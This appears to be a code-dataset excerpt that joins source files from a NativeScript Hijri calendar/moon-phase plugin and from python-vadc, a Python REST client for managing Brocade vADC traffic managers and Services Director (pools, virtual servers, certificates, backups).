= new Date(1975, 0, 29); datePicker.maxDate = new Date(2045, 4, 12); } exports.see = function(args) { var sender = args.object; var parent = sender.parent; var year = view.getViewById(parent,"date").year; var month = view.getViewById(parent,"date").month var day = view.getViewById(parent,"date").day; // this.DateValue = new Date(year, month-1, day); var convertDate = new Date(year, month-1, day); page.bindingContext = new HelloWorldModel(convertDate); }<file_sep>/basecal.ts export class HijriFunction { basecal(date, adjust){ var today = date; if(adjust) { var adjustmili = 1000*60*60*24*adjust; var todaymili = today.getTime()+adjustmili; today = new Date(todaymili); } var wd = date.getDay() + 1; var day = today.getDate(); var month = today.getMonth(); var year = today.getFullYear(); var m = month+1; var y = year; if(m<3) { y -= 1; m += 12; } var a = Math.floor(y/100.0); var b = 2-a+Math.floor(a/4.0); if(y<1583) b = 0; if(y===1582) { if(m>10) b = -10; if(m===10) { b = 0; if(day>4) b = -10; } } var jd = Math.floor(365.25*(y+4716))+Math.floor(30.6001*(m+1))+day+b-1524; b = 0; if(jd>2299160){ a = Math.floor((jd-1867216.25)/36524.25); b = 1+a-Math.floor(a/4.0); } var bb = jd+b+1524; var cc = Math.floor((bb-122.1)/365.25); var dd = Math.floor(365.25*cc); var ee = Math.floor((bb-dd)/30.6001); day =(bb-dd)-Math.floor(30.6001*ee); month = ee-1; if(ee>13) { cc += 1; month = ee-13; } year = cc-4716; var iyear = 10631.0/30.0; var epochastro = 1948084; // var epochcivil = 1948085; Not used var shift1 = 8.01/60.0; var z = jd-epochastro; var cyc = Math.floor(z/10631.0); z = z-10631*cyc; var j = Math.floor((z-shift1)/iyear); var iy = 30*cyc+j; z = z-Math.floor(j*iyear+shift1); var im = Math.floor((z+28.5001)/29.5); if(im===13) { im = 12; } var id = z-Math.floor(29.5001*im-29); var myRes = new Array(8); myRes[0] = day; //calculated day (CE) myRes[1] = month-1; //calculated month (CE) myRes[2] = year; //calculated year (CE) myRes[3] = jd-1; //julian day number myRes[4] = wd-1; //weekday number myRes[5] = id; //islamic date myRes[6] = im-1; //islamic month myRes[7] = iy; //islamic year return myRes; } }<file_sep>/basecal.d.ts export declare class HijriFunction { basecal(date: any, adjust: any): any[]; } <file_sep>/moon-phase.android.d.ts import { Common, MoonPhaseBase } from './moon-phase.common'; export declare class Hijri extends Common { } export declare class MoonPhase extends MoonPhaseBase { constructor(); } <file_sep>/demo/app/main-view-model.ts import {Observable} from 'tns-core-modules/data/observable'; import {Hijri} from 'nativescript-moon-phase'; export class HelloWorldModel extends Observable { /*public dayWeekText :string; public dayWeekNumber : number; public dayMonthNumber : number;*/ public monthText : string; /*public monthNumber : number; public yearNumber :number; public hijri: Hijri;*/ public DateValue: Date; constructor(currentDate) { super(); /*this.hijri = new Hijri(currentDate,0); this.dayWeekText =this.hijri.getDayName_Ar; this.dayMonthNumber = this.hijri.hijri_ar.dayOfMonth; this.monthText = this.hijri.getMonthName_Ar; this.monthNumber = this.hijri.getMonth; this.yearNumber =this.hijri.getYear;*/ this.DateValue = currentDate; } }<file_sep>/moon-phase.common.d.ts import { Observable } from 'data/observable'; import { Property } from "tns-core-modules/ui/core/properties"; import { Image } from 'tns-core-modules/ui/image'; export declare class Common extends Observable { hijri_ar: islamicDateObject; hijri_en: islamicDateObject; getYear: number; getMonth: number; getDay: number; getMonthName_Ar: string; getDayName_Ar: string; getMonthName_En: string; getDayName_En: string; constructor(date: any, shift: any); } export declare class Utils { static getYear(date: any, shift: any): number; static getMonth(date: any, shift: any): number; static getDay(date: any, shift: any): number; static getMonthName_Ar(date: any, shift: any): string; static getDayName_Ar(date: any, shift: any): string; static getMonthName_En(date: any, shift: any): string; static getDayName_En(date: any, shift: any): string; static Hijri_Date_AR(date: any, shift: any): islamicDateObject; static Hijri_Date_EN(date: any, shift: any): islamicDateObject; } export declare class islamicDateObject { dayOfWeekText: string; dayOfWeek: number; dayOfMonth: number; month: number; monthText: string; year: number; } export declare class MoonPhaseBase extends Image { } export declare const dateProperty: Property<MoonPhaseBase, any[]>;
f5c75ce463b90089b031b317f95c3b5f6fe5b887
[ "Markdown", "TypeScript" ]
12
TypeScript
rkhayyat/nativescript-moon-phase
6be5fed824b9a3c6c4a3b987bc1d408fb3119c68
6e817c200206d485ca3374d1bc1254b737d69431
refs/heads/master
<repo_name>TuxInvader/python-vadc<file_sep>/pyvadc/vadc.py #!/usr/bin/python import requests import sys import json import yaml import time import logging from os import path from base64 import b64encode, b64decode class Vadc(object): DEBUG = False def __init__(self, host, user, passwd, logger=None): requests.packages.urllib3.disable_warnings() if host.endswith('/') == False: host += "/" self.host = host self.user = user self.passwd = <PASSWORD> self.client = None self._cache = {} if logger is None: logging.basicConfig() self.logger = logging.getLogger() else: self.logger = logger def _debug(self, message): if Vadc.DEBUG: self.logger.debug(message) def _get_api_version(self, apiRoot): url = self.host + apiRoot res = self._get_config(url) if res.status_code != 200: raise Exception("Failed to locate API: {}, {}".format(res.status_code, res.text)) versions = res.json() versions = versions["children"] major=max([int(ver["name"].split('.')[0]) for ver in versions]) minor=max([int(ver["name"].split('.')[1]) for ver in versions if ver["name"].startswith(str(major))]) version = "{}.{}".format(major, minor) self._debug("API Version: {}".format(version)) return version def _init_http(self): self.client = requests.Session() self.client.auth = (self.user, self.passwd) def _get_config(self, url, headers=None, params=None): self._debug("URL: " + url) try: self._init_http() response = self.client.get(url, verify=False, headers=headers, params=params) except: self.logger.error("Error: Unable to connect to API") raise Exception("Error: Unable to connect to API") self._debug("Status: {}".format(response.status_code)) self._debug("Body: " + response.text) return response def _push_config(self, url, config, method="PUT", ct="application/json", params=None, extra=None): self._debug("URL: " + url) try: self._init_http() if ct == "application/json": if extra is not None: try: if extra.startswith("{"): extra = json.loads(extra, encoding="utf-8") else: extra = yaml.load( extra ) self._merge_extra(config, extra) except Exception as e: self.logger.warn("Failed to merge extra properties: {}".format(e)) config = json.dumps(config) if method == "PUT": response = self.client.put(url, verify=False, data=config, headers={"Content-Type": ct}, params=params) else: response = self.client.post(url, verify=False, data=config, headers={"Content-Type": ct}, params=params) except requests.exceptions.ConnectionError: self.logger.error("Error: Unable to connect to API") raise Exception("Error: Unable to connect to API") self._debug("DATA: " + config) self._debug("Status: {}".format(response.status_code)) self._debug("Body: " + response.text) return response def _del_config(self, url): self._debug("URL: " + url) try: self._init_http() response = self.client.delete(url, verify=False) except requests.exceptions.ConnectionError: sys.stderr.write("Error: Unable to connect to API {}".format(url)) raise Exception("Error: Unable to connect to API") self._debug("Status: {}".format(response.status_code)) self._debug("Body: " + response.text) return response def _upload_raw_binary(self, url, filename): if path.isfile(filename) is False: raise Exception("File: {} does not exist".format(filename)) if path.getsize(filename) > 20480000: raise Exception("File: {} is too large.".format(filename)) handle = open(filename, "rb") body = handle.read() handle.close() return self._push_config(url, body, ct="application/octet-stream") def _dictify(self, listing, keyName): dictionary = {} for item in listing: k = item.pop(keyName) dictionary[k] = item def _merge_extra(self, obj1, obj2): for section in obj2["properties"].keys(): if section in obj1["properties"].keys(): obj1["properties"][section].update(obj2["properties"][section]) else: obj1["properties"][section] = obj2["properties"][section] def _cache_store(self, key, data, timeout=10): exp = time.time() + timeout self._debug("Cache Store: {}".format(key)) self._cache[key] = {"exp": exp, "data": data} def _cache_lookup(self, key): now = time.time() if key in self._cache: entry = self._cache[key] if entry["exp"] > now: self._debug("Cache Hit: {}".format(key)) return entry["data"] self._debug("Cache Miss: {}".format(key)) return None def dump_cache(self): return json.dumps(self._cache, encoding="utf-8") def load_cache(self, cache): self._cache = json.loads(cache, encoding="utf-8") <file_sep>/pyvadc/bsd.py #!/usr/bin/python from vadc import Vadc from vtm import Vtm class Bsd(Vadc): def __init__(self, config, logger=None): try: host = config['brcd_sd_host'] user = config['brcd_sd_user'] passwd = config['brcd_sd_pass'] except KeyError: raise ValueError("brcd_sd_host, brcd_sd_user, and brcd_sd_pass must be configured") super(Bsd, self).__init__(host, user, passwd, logger) self.version = self._get_api_version("api/tmcm") self.baseUrl = host + "api/tmcm/" + self.version def _get_vtm_licenses(self): url = self.baseUrl + "/license" res = self._get_config(url) if res.status_code != 200: raise Exception("Failed to get licenses: {}, {}".format(res.status_code, res.text)) licenses = res.json() licenses = licenses["children"] universal = [int(lic["name"][11:]) for lic in licenses if lic["name"].startswith("universal_v")] universal.sort(reverse=True) legacy = [float(lic["name"][7:]) for lic in licenses if lic["name"].startswith("legacy_")] legacy.sort(reverse=True) order = [] order += (["universal_v" + str(ver) for ver in universal]) order += (["legacy_" + str(ver) for ver in legacy]) return order def ping(self): url = self.baseUrl + "/ping" res = self._get_config(url) if res.status_code != 204: raise Exception("Ping unsuccessful") config = res.json() return config["members"] def get_cluster_members(self, cluster): url = self.baseUrl + "/cluster/" + cluster res = self._get_config(url) if res.status_code != 200: raise Exception("Failed to locate cluster: {}, {}".format(res.status_code, res.text)) config = res.json() return config["members"] def get_active_vtm(self, vtms=None, cluster=None): if cluster is None and vtms is None: raise Exception("Error - You must supply either a list of vTMs or a Cluster ID") if cluster is not None and cluster != "": vtms = self.get_cluster_members(cluster) for vtm in vtms: url = self.baseUrl + "/instance/" + vtm + "/tm/" res = self._get_config(url) if res.status_code == 200: return vtm return None def add_vtm(self, vtm, password, address, bw, fp='STM-400_full'): url = self.baseUrl + "/instance/?managed=false" if address is None: address = vtm config = {"bandwidth": bw, "tag": vtm, "owner": "stanley", "stm_feature_pack": fp, "rest_address": address + ":9070", "admin_username": "admin", "rest_enabled": False, "host_name": address, "management_address": address} if password is not None: config["admin_password"] = <PASSWORD> config["rest_enabled"] = True # Try each of our available licenses. licenses = self._get_vtm_licenses() for license in licenses: config["license_name"] = license res = self._push_config(url, config, "POST") if res.status_code == 201: break else: res = self._push_config(url, config, "POST") if res.status_code != 201: raise Exception("Failed to add vTM. Response: {}, {}".format(res.status_code, res.text)) return res.json() def del_vtm(self, vtm): url = self.baseUrl + "/instance/" + vtm config = {"status": "deleted"} res = self._push_config(url, config, "POST") if res.status_code != 200: raise Exception("Failed to del vTM. Response: {}, {}".format(res.status_code, res.text)) return res.json() def get_vtm(self, tag): vtm = self._cache_lookup("get_vtm_" + tag) if vtm is None: url = self.baseUrl + "/instance/" + tag res = self._get_config(url) if res.status_code != 200: raise Exception("Failed to get vTM {}. Response: {}, {}".format( vtm, res.status_code, res.text)) vtm = res.json() self._cache_store("get_vtm_" + tag, vtm) return vtm def list_vtms(self, full=False, deleted=False, stringify=False): instances = self._cache_lookup("list_vtms") if instances is None: url = self.baseUrl + "/instance/" res = self._get_config(url) if res.status_code != 200: raise Exception("Failed to list vTMs. Response: {}, {}".format( res.status_code, res.text)) instances = res.json() self._cache_store("list_vtms", instances) output = [] for instance in instances["children"]: config = self.get_vtm(instance["name"]) if deleted is False and config["status"] == "Deleted": continue if full: config["name"] = instance["name"] output.append(config) else: out_dict = {k: config[k] for k in ("host_name", "tag", "status", "stm_feature_pack", "bandwidth")} out_dict["name"] = instance["name"] output.append(out_dict) if stringify: return json.dumps(output, encoding="utf-8") else: return output def _submit_backup_task(self, vtm=None, cluster_id=None, tag=None): if self.version < 2.3: raise Exception("You need to be running BSD version 2.5 or newer to perform a backup") url = self.baseUrl + "/config/backup/task" if cluster_id is None: if vtm is None: raise Exception("You need to provide with a vTM or Cluster-ID") cluster_id = self._get_cluster_for_vtm(cluster) config = { "cluster_id": cluster_id, "task_type": "backup restore", "task_subtype": "backup now" } res = self._push_config(url, config, "POST") if res.status_code != 201: raise Exception("Failed to create BackUp, Response: {}, {}".format( res.status_code, res.text)) return res.json() def get_status(self, vtm=None, stringify=False): instances = self._cache_lookup("get_status") if instances is None: url = self.baseUrl + "/monitoring/instance" res = self._get_config(url) if res.status_code != 200: raise Exception("Failed get Status. Result: {}, {}".format( res.status_code, res.text)) instances = res.json() self._cache_store("get_status", instances) if vtm is not None: for instance in instances: if instance["tag"] != vtm and instance["name"] != vtm: instances.remove(instance) if stringify: return json.dumps(instances, encoding="utf-8") else: return instances def get_errors(self, stringify=False): instances = self.get_status() errors = {} for instance in instances: error = {} self._debug(instance) if instance["id_health"]["alert_level"] != 1: error["id_health"] = instance["id_health"] if instance["rest_access"]["alert_level"] != 1: error["rest_access"] = instance["rest_access"] if instance["licensing_activity"]["alert_level"] != 1: error["licensing_activity"] = instance["licensing_activity"] if instance["traffic_health"]["error_level"] != "ok": error["traffic_health"] = instance["traffic_health"] if len(error) != 0: error["tag"] = instance["tag"] error["name"] = instance["name"] if "traffic_health" in error: if "virtual_servers" in error["traffic_health"]: del error["traffic_health"]["virtual_servers"] errors[instance["name"]] = error if stringify: return json.dumps(errors, encoding="utf-8") else: return errors def get_monitor_intervals(self, setting=None): intervals = self._cache_lookup("get_monitor_intervals") if intervals is None: url = self.baseUrl + "/settings/monitoring" res = self._get_config(url) if res.status_code != 200: raise Exception("Failed to get Monitoring Intervals. Result: {}, {}".format( res.status_code, res.text)) intervals = res.json() self._cache_store("get_monitor_intervals", intervals) if setting is not None: if setting not in intervals: raise Exception("Setting: {} does not exist.".format(setting)) return intervals[setting] return intervals def get_bandwidth(self, vtm=None, stringify=False): instances = self.get_status(vtm) bandwidth = {} for instance in instances: config = self.get_vtm(instance["name"]) tag = config["tag"] # Bytes/Second if "throughput_out" in instance: current = (instance["throughput_out"] / 1000000.0) * 8 else: current = 0.0 # Mbps assigned = config["bandwidth"] # Bytes/Second if "metrics_peak_throughput" in config: peak = (config["metrics_peak_throughput"] / 1000000.0) * 8 else: peak = 0.0 bandwidth[instance["name"]] = {"tag": tag, "current": current, "assigned": assigned, "peak": peak} if stringify: return json.dumps(bandwidth, encoding="utf-8") else: return bandwidth def set_bandwidth(self, vtm, bw): url = self.baseUrl + "/instance/" + vtm config = {"bandwidth": bw} res = self._push_config(url, config) if res.status_code != 200: raise Exception("Failed to set Bandwidth. Result: {}, {}".format( res.status_code, res.text)) config = res.json() return config <file_sep>/pyvadc/__init__.py from vadc import Vadc from bsd import Bsd from vtm import Vtm from config import VtmConfig from config import BsdConfig __all__ = [ "Vadc", "Bsd", "Vtm", "VtmConfig", "BsdConfig" ] <file_sep>/README.rst A Python library for vADC ========================= A library for interacting with the REST API of `Brocade vADC <http://www.brocade.com/vadc>`_. ---- To install, either clone from github or "pip install pyvadc" To use (standalone vTM): .. code-block:: python from pyvadc import Vtm, VtmConfig config = VtmConfig("https://vtm1:9070/", "<PASSWORD>", "<PASSWORD>") vtm = Vtm(config) vtm.get_pools() ... To Use with Brocade Services Director (BSD): .. code-block:: python from pyvadc import Bsd, Vtm, BsdConfig config = BsdConfig("https://sd1:8100/", "admin", "<PASSWORD>") bsd = Bsd(config) bsd.add_vtm("vtm1", "password", "1<PASSWORD>7.0.2", 100, "STM-400_full") bsd.get_status("vtm1") # We can now manage vTMs by proxying. vtm1 = Vtm(config, vtm="vtm1") vtm1.get_pools() ... Enjoy! <file_sep>/pyvadc/vtm.py #!/usr/bin/python from vadc import Vadc import json class Vtm(Vadc): def __init__(self, config, logger=None, vtm=None): try: self._proxy = config['brcd_sd_proxy'] if self._proxy: if vtm is None: raise ValueError("You must set vtm, when using SD Proxy") host = config['brcd_sd_host'] user = config['brcd_sd_user'] passwd = config['brcd_sd_pass'] else: host = config['brcd_vtm_host'] user = config['brcd_vtm_user'] passwd = config['brcd_vtm_pass'] except KeyError: raise ValueError("You must set key brcd_sd_proxy, and either " + "brcd_sd_[host|user|pass] or brcd_vtm_[host|user|pass].") self.vtm = vtm self.bsdVersion = None super(Vtm, self).__init__(host, user, passwd, logger) if self._proxy: self.bsdVersion = self._get_api_version("api/tmcm") self.version = self._get_api_version( "api/tmcm/{}/instance/{}/tm".format(self.bsdVersion, vtm)) self.baseUrl = host + "api/tmcm/{}".format(self.bsdVersion) + \ "/instance/{}/tm/{}".format(vtm, self.version) else: self.version = self._get_api_version("api/tm") self.baseUrl = host + "api/tm/{}".format(self.version) self.configUrl = self.baseUrl + "/config/active" self.statusUrl = self.baseUrl + "/status/local_tm" def _get_node_table(self, name): url = self.configUrl + "/pools/" + name res = self._get_config(url) if res.status_code != 200: raise Exception("Failed to get pool. Result: {}, {}".format(res.status_code, res.text)) config = res.json() return config["properties"]["basic"]["nodes_table"] def _get_single_config(self, obj_type, name): url = self.configUrl + "/" + obj_type + "/" + name res = self._get_config(url) if res.status_code != 200: raise Exception("Failed to get " + obj_type + " Configuration." + " Result: {}, {}".format(res.status_code, res.text)) return res.json() def _get_multiple_configs(self, obj_type, names=[]): url = self.configUrl + "/" + obj_type + "/" res = self._get_config(url) if res.status_code != 200: raise Exception("Failed to list " + obj_type + ". Result: {}, {}".format(res.status_code, res.text)) listing = res.json()["children"] output = {} for obj in [obj["name"] for obj in listing]: if len(names) > 0 and (obj not in names): continue output[obj] = self._get_single_config(obj_type, obj) return output def _set_single_config(self, obj_type, name, config): url = self.configUrl + "/" + obj_type + "/" + name res = self._push_config(url, config) if res.status_code != 200: raise Exception("Failed to set " + obj_type + ". Result: {}, {}".format( res.status_code, res.text)) return res def _get_vs_rules(self, name): config = self._get_single_config("virtual_servers", name) rules = {k: config["properties"]["basic"][k] for k in ("request_rules", "response_rules", "completionrules")} return rules def _set_vs_rules(self, name, rules): config = {"properties": {"basic": rules}} res = self._set_single_config("virtual_servers", name, config) if res.status_code != 200: raise Exception("Failed set VS Rules. Result: {}, {}".format(res.status_code, res.text)) def insert_rule(self, vsname, rulename, insert=True): rules = self._get_vs_rules(vsname) if insert: if rulename in rules["request_rules"]: raise Exception("Rule {} already in vserver {}".format(rulename, vsname)) rules["request_rules"].insert(0, rulename) else: if rulename not in rules["request_rules"]: raise Exception("Rule {} already in vserver {}".format(rulename, vsname)) rules["request_rules"].remove(rulename) self._set_vs_rules(vsname, rules) def upload_rule(self, rulename, ts_file): url = self.configUrl + "/rules/" + rulename res = self._upload_raw_binary(url, ts_file) if res.status_code != 201 and res.status_code != 204: raise Exception("Failed to upload rule." + " Result: {}, {}".format(res.status_code, res.text)) def enable_maintenance(self, vsname, rulename="maintenance", enable=True): self.insert_rule(vsname, rulename, enable) def get_pool_nodes(self, name): nodeTable = self._get_node_table(name) nodes = {"active": [], "disabled": [], "draining": []} for node in nodeTable: if node["state"] == "active": nodes["active"].append(node["node"]) elif node["state"] == "disabled": nodes["disabled"].append(node["node"]) elif node["state"] == "draining": nodes["draining"].append(node["node"]) else: self.logger.warn("Unknown Node State: {}".format(node["state"])) return nodes def set_pool_nodes(self, name, active, draining, disabled): url = self.configUrl + "/pools/" + name nodeTable = [] if active is not None and active: nodeTable.extend( [{"node": node, "state": "active"} for node in active] ) if draining is not None and draining: nodeTable.extend( [{"node": node, "state": "draining"} for node in draining] ) if disabled is not None and disabled: nodeTable.extend( [{"node": node, "state": "disabled"} for node in disabled] ) config = {"properties": {"basic": {"nodes_table": nodeTable }}} res = self._push_config(url, config) if res.status_code != 201 and res.status_code != 200: raise Exception("Failed to set pool nodes. Result: {}, {}".format(res.status_code, res.text)) def drain_nodes(self, name, nodes, drain=True): url = self.configUrl + "/pools/" + name nodeTable = self._get_node_table(name) for entry in nodeTable: if entry["node"] in nodes: if drain: entry["state"] = "draining" else: entry["state"] = "active" config = {"properties": {"basic": {"nodes_table": nodeTable}}} res = self._push_config(url, config) if res.status_code != 201 and res.status_code != 200: raise Exception("Failed to add pool. Result: {}, {}".format(res.status_code, res.text)) def add_monitor(self, name, monitor_type, machine=None, extra=None): url = self.configUrl + '/monitors/' + name if machine is not None: config = {"properties": {"basic" :{"type": monitor_type, "machine": machine, "scope": "poolwide"}}} else: config = {"properties": {"basic" :{"type": monitor_type}}} res = self._push_config(url, config, extra=extra) if res.status_code != 201 and res.status_code != 200: raise Exception("Failed to add monitor. Result: {}, {}".format(res.status_code, res.text)) def add_pool(self, name, nodes, algorithm, persistence, monitors, extra=None): url = self.configUrl + "/pools/" + name nodeTable = [] for node in nodes: nodeTable.append({"node": node, "state": "active"}) config = {"properties": {"basic": {"nodes_table": nodeTable}, "load_balancing": {}}} if monitors is not None: config["properties"]["basic"]["monitors"] = monitors if persistence is not None: config["properties"]["basic"]["persistence_class"] = persistence if algorithm is not None: config["properties"]["load_balancing"]["algorithm"] = algorithm res = self._push_config(url, config, extra=extra) if res.status_code != 201 and res.status_code != 200: raise Exception("Failed to add pool. Result: {}, {}".format(res.status_code, res.text)) def del_pool(self, name): url = self.configUrl + "/pools/" + name res = self._del_config(url) if res.status_code != 204: raise Exception("Failed to del pool. Result: {}, {}".format(res.status_code, res.text)) def get_pool(self, name): return self._get_single_config("pools", name) def get_pools(self, names=[]): return self._get_multiple_configs("pools", names) def add_vserver(self, name, pool, tip, port, protocol, extra=None): url = self.configUrl + "/virtual_servers/" + name config = {"properties": {"basic": {"pool": pool, "port": port, "protocol": protocol, "listen_on_any": False, "listen_on_traffic_ips": [tip], "enabled": True}}} res = self._push_config(url, config, extra=extra) if res.status_code != 201 and res.status_code != 200: raise Exception("Failed to add VS. Result: {}, {}".format(res.status_code, res.text)) def del_vserver(self, name): url = self.configUrl + "/virtual_servers/" + name res = self._del_config(url) if res.status_code != 204: raise Exception("Failed to del VS. Result: {}, {}".format(res.status_code, res.text)) def get_vserver(self, name): return self._get_single_config("virtual_servers", name) def get_vservers(self, names=[]): return self._get_multiple_configs("virtual_servers", names) def add_tip(self, name, vtms, addresses, extra=None): url = self.configUrl + "/traffic_ip_groups/" + name config = {"properties": {"basic": {"ipaddresses": addresses, "machines": vtms, "enabled": True}}} res = self._push_config(url, config, extra=extra) if res.status_code != 201 and res.status_code != 200: raise Exception("Failed to add TIP. Result: {}, {}".format(res.status_code, res.text)) def del_tip(self, name): url = self.configUrl + "/traffic_ip_groups/" + name res = self._del_config(url) if res.status_code != 204: raise Exception("Failed to del TIP. Result: {}, {}".format(res.status_code, res.text)) def get_tip(self, name): return self._get_single_config("traffic_ip_groups", name) def get_tips(self, names=[]): return self._get_multiple_configs("traffic_ip_groups", names) def add_server_cert(self, name, public, private): url = self.configUrl + "/ssl/server_keys/" + name public = public.replace("\\n", "\n") private = private.replace("\\n", "\n") config = {"properties": {"basic": {"public": public, "private": private}}} res = self._push_config(url, config) if res.status_code != 201 and res.status_code != 200: raise Exception("Failed to add Server Certificate." + " Result: {}, {}".format(res.status_code, res.text)) def del_server_cert(self, name): url = self.configUrl + "/ssl/server_keys/" + name res = self._del_config(url) if res.status_code != 204: raise Exception("Failed to delete Server Certificate." + " Result: {}, {}".format(res.status_code, res.text)) def enable_ssl_offload(self, name, cert="", on=True, xproto=False, headers=False): url = self.configUrl + "/virtual_servers/" + name config = {"properties": {"basic": {"ssl_decrypt": on, "add_x_forwarded_proto": xproto}, "ssl": {"add_http_headers": headers, "server_cert_default": cert}}} res = self._push_config(url, config) if res.status_code != 200: raise Exception("Failed to configure SSl Offload on {}.".format(name) + " Result: {}, {}".format(res.status_code, res.text)) def enable_ssl_encryption(self, name, on=True, verify=False): url = self.configUrl + "/pools/" + name config = {"properties": {"ssl": {"enable": on, "strict_verify": verify}}} res = self._push_config(url, config) if res.status_code != 200: raise Exception("Failed to configure SSl Encryption on {}.".format(name) + " Result: {}, {}".format(res.status_code, res.text)) def add_session_persistence(self, name, method, cookie=None): types = ["ip", "universal", "named", "transparent", "cookie", "j2ee", "asp", "ssl"] if method not in types: raise Exception("Failed to add SP Class. Invalid method: {}".format(method) + "Must be one of: {}".format(types)) if method == "cookie" and cookie is None: raise Exception("Failed to add SP Class. You must provide a cookie name.") if cookie is None: cookie = "" url = self.configUrl + "/persistence/" + name config = {"properties": {"basic": {"type": method, "cookie": cookie}}} res = self._push_config(url, config) if res.status_code != 201 and res.status_code != 200: raise Exception("Failed to add Session Persistence Class" + " Result: {}, {}".format(res.status_code, res.text)) def del_session_persistence(self, name): url = self.configUrl + "/persistence/" + name res = self._del_config(url) if res.status_code != 204: raise Exception("Failed to delete Session Persistence Class." + " Result: {}, {}".format(res.status_code, res.text)) def add_dns_zone(self, name, origin, zonefile): url = self.configUrl + '/dns_server/zones/' + name config = {"properties": {"basic": {"zonefile": zonefile, "origin": origin}}} res = self._push_config(url, config) if res.status_code != 201 and res.status_code != 200: raise Exception("Failed to add dns zone" + " Result: {}, {}".format(res.status_code, res.text)) def add_glb_location(self, name, longitude, latitude, location_id): my_location_id = 1 if location_id is not None: my_location_id = location_id else: # if location_id is not set, we'll have to find one url = self.configUrl + '/locations/' res = self._get_config(url) if res.status_code != 200: raise Exception("Failed to get location list: {}, {}".format(res.status_code, res.text)) location_list = res.json()['children'] for location in location_list: url = self.configUrl + '/locations/' + location['name'] res = self._get_config(url) tmp = res.json()["properties"]["basic"]["id"] if tmp > my_location_id: my_location_id = tmp # we need to pick up the next one available my_location_id = my_location_id + 1 url = self.configUrl + '/locations/' + name config = json.loads('{"properties": {"basic": {"type": "glb", "longitude":' + longitude + ', "latitude": ' + latitude + ', "id": ' + str(my_location_id) + '}}}', parse_float = float) res = self._push_config(url, config) if res.status_code != 201 and res.status_code != 200: raise Exception("Failed to add GLB location" + " Result: {}, {}".format(res.status_code, res.text)) def add_glb_service(self, name, algorithm, rules, locations, domains, extra=None): url = self.configUrl + '/glb_services/' + name rulesStr = '' if rules is not None: for rule in rules: rulesStr = rulesStr + '"{}",'.format(rule) # remove the last ',' rulesStr = rulesStr[:-1] # a location is a dict of list, with: # list[0] is the monitoring name # list[1] is the IP of the location (one IP per location allowed for now) locationsStr = '' locationsOrderStr = '' for key,value in locations.iteritems(): locationsStr = locationsStr + '{{"monitors": [ "{}" ], "ips": [ "{}" ], "location": "{}"}},'.format(value[0], value[1], key) locationsOrderStr = locationsOrderStr + '"{}",'.format(key) # remove the last ',' locationsStr = locationsStr[:-1] locationsOrderStr = locationsOrderStr[:-1] #print locationsStr domainsStr = '' for domain in domains: domainsStr = domainsStr + '"{}",'.format(domain) domainsStr = domainsStr[:-1] config = json.loads('{{"properties": {{"basic": {{"rules": [ {} ], "location_settings": [ {} ], "enabled": true, "algorithm": "{}", "chained_location_order": [ {} ], "domains": [ {} ] }} }} }}'.format(rulesStr, locationsStr, algorithm, locationsOrderStr, domainsStr)) res = self._push_config(url, config, extra=extra) if res.status_code != 201 and res.status_code != 200: raise Exception("Failed to add GLB service" + " Result: {}, {}".format(res.status_code, res.text)) def list_backups(self): if self.version < 3.9: raise Exception("Backups require vTM 11.0 or newer") url = self.statusUrl + "/backups/full" res = self._get_config(url) if res.status_code != 200: raise Exception("Failed to get Backup Listing." + " Result: {}, {}".format(res.status_code, res.text)) listing = res.json()["children"] output = {} for backup in [backup["name"] for backup in listing]: url = self.statusUrl + "/backups/full/" + backup res = self._get_config(url) if res.status_code == 200: out = res.json() output[backup] = out["properties"]["backup"] return output def create_backup(self, name, description): if self.version < 3.9: raise Exception("Backups require vTM 11.0 or newer") url = self.statusUrl + "/backups/full/" + name description="" if description is None else description config = {"properties": {"backup": {"description": description }}} res = self._push_config(url, config) if res.status_code != 201 and res.status_code != 200: raise Exception("Failed to create Backup." + " Result: {}, {}".format(res.status_code, res.text)) def restore_backup(self, name): if self._proxy and self.bsdVersion < 2.4: raise Exception("Backup restoration requires BSD Version 2.6 when proxying.") if self.version < 3.9: raise Exception("Backups require vTM 11.0 or newer") url = self.statusUrl + "/backups/full/" + name +"?restore" config = {"properties": {}} res = self._push_config(url, config) if res.status_code != 200: raise Exception("Failed to create Backup." + " Result: {}, {}".format(res.status_code, res.text)) return res.json() def delete_backup(self, name): if self.version < 3.9: raise Exception("Backups require vTM 11.0 or newer") url = self.statusUrl + "/backups/full/" + name res = self._del_config(url) if res.status_code != 204: raise Exception("Failed to delete Backup." + " Result: {}, {}".format(res.status_code, res.text)) def get_backup(self, name, b64=True): if self.version < 3.9: raise Exception("Backups require vTM 11.0 or newer") url = self.statusUrl + "/backups/full/" + name headers = {"Accept": "application/x-tar"} res = self._get_config(url, headers=headers) if res.status_code != 200: raise Exception("Failed to download Backup." + " Result: {}, {}".format(res.status_code, res.text)) backup = b64encode(res.content) if b64 else res.content return backup def upload_backup(self, name, backup): if self.version < 3.9: raise Exception("Backups require vTM 11.0 or newer") url = self.statusUrl + "/backups/full/" + name res = self._push_config(url, backup, ct="application/x-tar") if res.status_code != 201 and res.status_code != 204: raise Exception("Failed to upload Backup." + " Result: {}, {}".format(res.status_code, res.text)) def upload_extra_file(self, name, filename): url = self.configUrl + "/extra_files/" + name res = self._upload_raw_binary(url, filename) if res.status_code != 201 and res.status_code != 204: raise Exception("Failed to upload file." + " Result: {}, {}".format(res.status_code, res.text)) def upload_dns_zone_file(self, name, filename): url = self.configUrl + "/dns_server/zone_files/" + name res = self._upload_raw_binary(url, filename) if res.status_code != 201 and res.status_code != 204: raise Exception("Failed to upload file." + " Result: {}, {}".format(res.status_code, res.text)) def upload_action_program(self, name, filename): url = self.configUrl + "/action_programs/" + name res = self._upload_raw_binary(url, filename) if res.status_code != 201 and res.status_code != 204: raise Exception("Failed to upload program." + " Result: {}, {}".format(res.status_code, res.text)) def add_action_program(self, name, program, arguments): config = {"properties": {"basic": {"type": "program"}, "program": {"arguments": arguments, "program": program}}} url = self.configUrl + "/actions/" + name res = self._push_config(url, config) if res.status_code != 200 and res.status_code != 201: raise Exception("Failed to add action." + " Result: {}, {}".format(res.status_code, res.text)) def get_event_type(self, name): url = self.configUrl + "/event_types/" + name res = self._get_config(url) if res.status_code == 404: return None elif res.status_code != 200: raise Exception("Failed to get event." + " Result: {}, {}".format(res.status_code, res.text)) return res.json() def add_event_type_action(self, event, action): url = self.configUrl + "/event_types/" + event config = self.get_event_type(event) if config is None: return False entries = config["properties"]["basic"]["actions"] if action in entries: return True entries.append(action) res = self._push_config(url, config) if res.status_code != 200: raise Exception("Failed to Set Action: {}".format(action) + " for Event: {}.".format(event) + " Result: {}, {}".format(res.status_code, res.text)) def set_global_settings(self, settings=None): if settings is None: return url = self.configUrl + 